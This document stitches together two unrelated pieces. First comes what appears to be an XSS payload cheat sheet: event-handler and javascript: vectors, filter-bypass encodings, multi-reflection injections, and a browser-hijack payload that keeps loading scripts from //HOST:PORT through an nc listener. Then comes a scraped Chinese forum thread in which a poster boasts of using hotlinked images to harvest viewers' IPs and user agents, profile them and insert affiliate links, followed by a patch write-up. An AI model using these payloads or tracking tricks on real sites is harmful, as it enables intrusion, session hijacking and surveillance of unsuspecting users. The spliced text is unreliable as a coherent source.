<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!

Agnostic Event Handlers

<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003

Code Reuse Inline Script

<script>alert(1)//
<script>alert(1)<!–
Code Reuse Regular Script
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>

Filter Bypass Generic Tag + Handler

Encoding

<x onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1

Mixed Case

<X onxxx=1
<x OnXxx=1
<X OnXxx=1

Doubling

<x onxxx=1 onxxx=1

Spacers

<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1

Quotes

<x 1='1'onxxx=1
<x 1="1"onxxx=1

Stripping

<[S]x onx[S]xx=1
[S] = stripped char or string

Mimetism

<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/

Generic Source Breaking

<x onxxx=alert(1) 1='

Source-Breaking Injections

onafterscriptexecute

onbeforescriptexecute

if (brute)
alert("Congratz, buddy!");
else
alert("Almost there, try again.");

Browser Control

<svg onload=setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:PORT'},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done

Using XSS to Control a Browser

<svg onload=setInterval(function(){d=document;
z=d.createElement("script");z.src="//HOST:PORT";
d.body.appendChild(z)},0)>
setInterval(code, 0)
function(){code}
d=document;
z=d.createElement("script");
z.src="//HOST:PORT";
d.body.appendChild(z)
<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>
$ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done

Multi Reflection

Double Reflection

Single Input

'onload=alert(1)><svg/1='
Single Input (script-based)
'>alert(1)</script><script/1='
/alert(1)</script><script>/

Triple Reflection

Single Input

/alert(1)">'onload="/<svg/1='
-alert(1)">'onload="<svg/1='

Single Input (script-based)

/</script>'>alert(1)/<script/1='

Multi Input

Double Input

p=<svg/1='&q='onload=alert(1)>

Triple Input

p=<svg 1='&q='onload='/&r=/alert(1)'>

Multi Reflection XSS

<svg onload=write(1)>
p='onload=alert(1)><svg/1='
'onload=alert(1)><svg/1='
… [code] …
'onload=alert(1)><svg/1='
p='>alert(1)</script><script/1='
p=/alert(1)</script><script>/
/alert(1)</script><script>/
… [code] …
/alert(1)</script><script>/
p=/alert(1)">'onload="/<svg/1='
p=-alert(1)">'onload="<svg/1='
-alert(1)">'onload="<svg/1='
… [code] …
-alert(1)">'onload="<svg/1='
… [code] …
-alert(1)">'onload="<svg/1='
p=/</script>'>alert(1)/<script/1='
/</script>'>alert(1)/<script/1='
… [code] …
/</script>'>alert(1)/<script/1='
… [code] …
/</script>'>alert(1)/<script/1='
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/&r=/alert(1)'>
var n = {a: "$p", b: "$p"};
(double reflection, single input $p)
var n = {a: "$p", b: "$q"};
(double reflection, double input $p and $q)

INPUT

p=-alert(1)}//\
RESULT*
var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};

INPUT

p=\&q=-alert(1)//
RESULT*
var n = {a: "\", b: "-alert(1)}//"};

Without Event Handlers

<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

XSS Without Event Handlers

data:text/html,<script>alert(1)</script>

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

1) (no attribute)

<script>alert(1)</script>

2) src

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#18 · 该用户已存在
发帖 2026-08-15 14:27:14 · 快照 2026-08-15 14:28:07

甚至可能偷走其他东西

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#12 · 痛失姓名旳站长
发帖 2026-08-15 13:43:15 · 快照 2026-08-17 20:29:57

@小号 #14 就是这个样子,不过有非常多的玩法

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#8 · 痛失姓名旳站长
发帖 2026-08-15 12:51:22 · 快照 2026-08-17 20:29:57

是的,直接画像,精准定位,不管是卖给广告商,还是用来社工,还是想找到谁发表了不良言论然后摁头,都是很好的玩法。

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#5 · 痛失姓名旳站长
发帖 2026-08-15 12:44:21 · 快照 2026-08-17 20:29:57

@FuyaOo0o0O #3 其实都是AI写的,我也不知道真假,但是问题是存在的。

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#2 · 痛失姓名旳站长
发帖 2026-08-15 12:40:59 · 快照 2026-08-17 20:29:57

@刘协 #1 😁每天发帖评论然后带上广告aff,只要论坛够活跃,赚个零花钱富富有余,而且是可以避免的

当你打开这个贴的时候我已经做了你的用户画像并且加载了几个aff
#0 · 痛失姓名旳站长
发帖 2026-08-15 12:33:59 · 快照 2026-08-17 20:29:57

发生什么事了?
当你打开这个贴的时候,浏览器悄悄把你的IP、UA、等浏览器发到了我的服务器上,然后其实还能根据你的id生成属于你的专属链接,这样的话你在论坛发表不良言论就能线下找你谈话,另外我还加载了几个aff,你刚好要买这个东西的时候刚好走我的aff,在日活跃怎么高的论坛上其实也是一笔可观的收入。
具体如何实现的呢,其实很简单,发帖回复的时候把图片的地址修改成你的任意url,然后别人打开后会后台加载你的url

为什么会出现任意 URL 加载

一句话:核心是安全的,但插件把渲染接管了,而且只做了"协议白名单"没做"域名白名单"。

拆成三层看:

第一层:核心本身是安全的。 核心的 markdown_html()(index.php:1802)是白名单式渲染——默认 h() 全转义,只处理 @用户名 链接,根本不渲染图片。没有插件的时候,发 ![图](url) 就是一堆转义后的纯文本,啥也加载不了。

第二层:插件短路了核心的防线。 关键在核心这段:

$rendered = hook('markdown.render', null, ['text' => $text, ...]);
if (is_string($rendered)) return (string)hook('markdown.after', $rendered, ...);   // 插件一返回,核心的 h() fallback 就被跳过

markdown_textarea 的 markdown_textarea_render hook 住 markdown.render,返回它自己渲染的 HTML。安全边界从"核心保证"移交给了"每个插件自己保证"。

第三层:插件作者的安全取舍失衡。 为了让 ![图](url) 这个语法生效,插件把 URL 渲染成 <img src="url">。作者做了协议白名单(只放行 http://、https://、站内 /,把 javascript:、data:、file: 都挡了)——这部分是对的。但他没做域名白名单,所以任何 http(s) 域名的图片都渲染成 <img> 并让访问者浏览器自动加载。

本质:热链接任意 http(s) URL = 让每个看帖人的浏览器替攻击者去请求任意 URL。这是功能设计和安全取舍的失衡,不是编码 bug——协议白名单给人"做了安全"的错觉,但协议对 ≠ 域名对。

最后一块拼图:这插件还违反了项目自己 .ai-rules.md 里的安全规范——"上传和远程文件限制协议、主机、类型和大小,并拒绝内网地址"。作者没限制主机、没拒绝内网地址。所以修复它不是"额外加需求",是补合规。

---
如何修复

方案 A(推荐):插件加"图片域名白名单",白名单外降级成链接

原则:链接 [text](url) 是用户点击才跳转,不自动加载,可以保留任意 http(s)。但图片是浏览器自动加载的,必须白名单。白名单外的图片 URL 降级成普通链接,不渲染 <img>。

在 markdown_textarea_inline 里加一个校验函数:

function markdown_textarea_image_url_allowed(string $url): bool
{
    // 站内相对路径:本站资源,直接放行
    if (str_starts_with($url, '/')) return true;

    $host = strtolower((string)parse_url($url, PHP_URL_HOST));
    if ($host === '') return false;

    // 黑名单兜底:即使被加进白名单,回环/链路本地/保留地址也一律拒绝
    $is_ip = filter_var($host, FILTER_VALIDATE_IP) !== false;
    if ($is_ip && filter_var($host, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) return false;
    if (in_array($host, ['localhost', 'localhost.localdomain', 'ip6-localhost', '::1', '0.0.0.0'], true)) return false;
    if (str_starts_with($host, 'fe80:') || str_starts_with($host, 'fc') || str_starts_with($host, 'fd')) return false;

    // 图片域名白名单(按你的站实际需求配)
    $allowed = ['i.imgur.com', 'imgur.com', 'images.unsplash.com', 'bbs1.org'];
    foreach ($allowed as $domain) {
        if ($host === $domain || str_ends_with($host, '.' . $domain)) return true;
    }
    return false;
}

然后在渲染回调里,图片分支加判断:

$html = $image
    ? (markdown_textarea_image_url_allowed($url)
        ? '<img src="' . h($url) . '" alt="' . $label . '" loading="lazy" referrerpolicy="no-referrer">'
        : '<a href="' . h($url) . '" target="_blank" rel="nofollow noopener">' . $label . '</a>')
    : '<a href="' . h($url) . '" target="_blank" rel="nofollow noopener">' . $label . '</a>';

为什么白名单是主防线:黑名单式永远有漏(DNS rebinding、IPv6 变体、内网域名花活),白名单式直接让不在名单里的域名根本渲染不成 <img>。上面那段黑名单只是"防用户把 192.168.1.1 手滑加进白名单"的兜底。改完升版本号 1.0.18 → 1.0.19(.ai-rules.md 要求行为变化必升版本)。

方案 B(根治隐私问题):服务端图片代理

不直连外部 URL,改成 <img src="/index.php?a=image_proxy&u=...">,服务端转发。访问者浏览器只请求你服务器,外部 URL 只在服务端请求一次——访问者 IP、UA、TLS 指纹完全不给第三方,追踪像素直接失效。还能顺带做类型/大小校验、集中缓存。

代价:实现量大,而且服务端代理本身就是新的 SSRF 面——必须同样做白名单 + 拒绝内网 + 超时 + 大小上限,否则代理成了你自己的 SSRF 后门。要用的话,把方案 A 的 markdown_textarea_image_url_allowed 直接复用到代理层。

方案 C(纵深防御):核心兜底

核心 markdown_html() 对 markdown.render 返回值做一次检查——<img src> 不允许指向白名单外的域名。这样哪怕未来某个插件忘了校验,核心也能拦。核心是极简无依赖设计,别引入 HTMLPurifier,写个简单检查 + 一个 markdown.image_url hook 就行。这层是"保险丝",有 A 就不必须,但加上更稳。

方案 D(立刻止血,不改代码)

- 后台停用 markdown_textarea → 退回核心白名单渲染,图片不再渲染,功能降级但安全
- 扫描历史帖子里的外链图片,清掉恶意 URL:

-- SQLite 扫发帖/回帖里所有外链图片语法
SELECT id FROM app_topics  WHERE body LIKE '%![%](http%';
SELECT id FROM app_replies WHERE body LIKE '%![%](http%';

有结果的把恶意 URL 替换掉或整段转义。

---
排序建议:立刻做 D 的扫描止血 → 打上 A 的补丁(半小时的事,覆盖发帖、回帖、私信、通知所有入口)→ 有余力再上 C 做核心兜底。B 是隐私根治,值钱但排最后。

最后由 痛失姓名旳站长 编辑于 2026-08-15 20:10
假如我发现了论坛的漏洞该如何提交
#7 · 该用户已存在
发帖 2026-08-15 11:50:46 · 快照 2026-08-15 11:55:31

测试一下

假如我发现了论坛的漏洞该如何提交
#3 · 痛失姓名旳站长
发帖 2026-08-15 10:56:40 · 快照 2026-08-17 20:30:39

@SpongeBob #3 🤔我研究研究怎么发

假如我发现了论坛的漏洞该如何提交
#1 · 痛失姓名旳站长
发帖 2026-08-15 10:53:25 · 快照 2026-08-17 20:30:39

@SpongeBob #1 精华是干什么用的

假如我发现了论坛的漏洞该如何提交
#0 · 痛失姓名旳站长
发帖 2026-08-15 10:51:42 · 快照 2026-08-17 20:30:39

RT
会有奖励吗

第一次发帖需要注意什么吗
#0 · 痛失姓名旳站长
发帖 2026-08-15 10:41:28 · 快照 2026-08-17 20:30:47

rt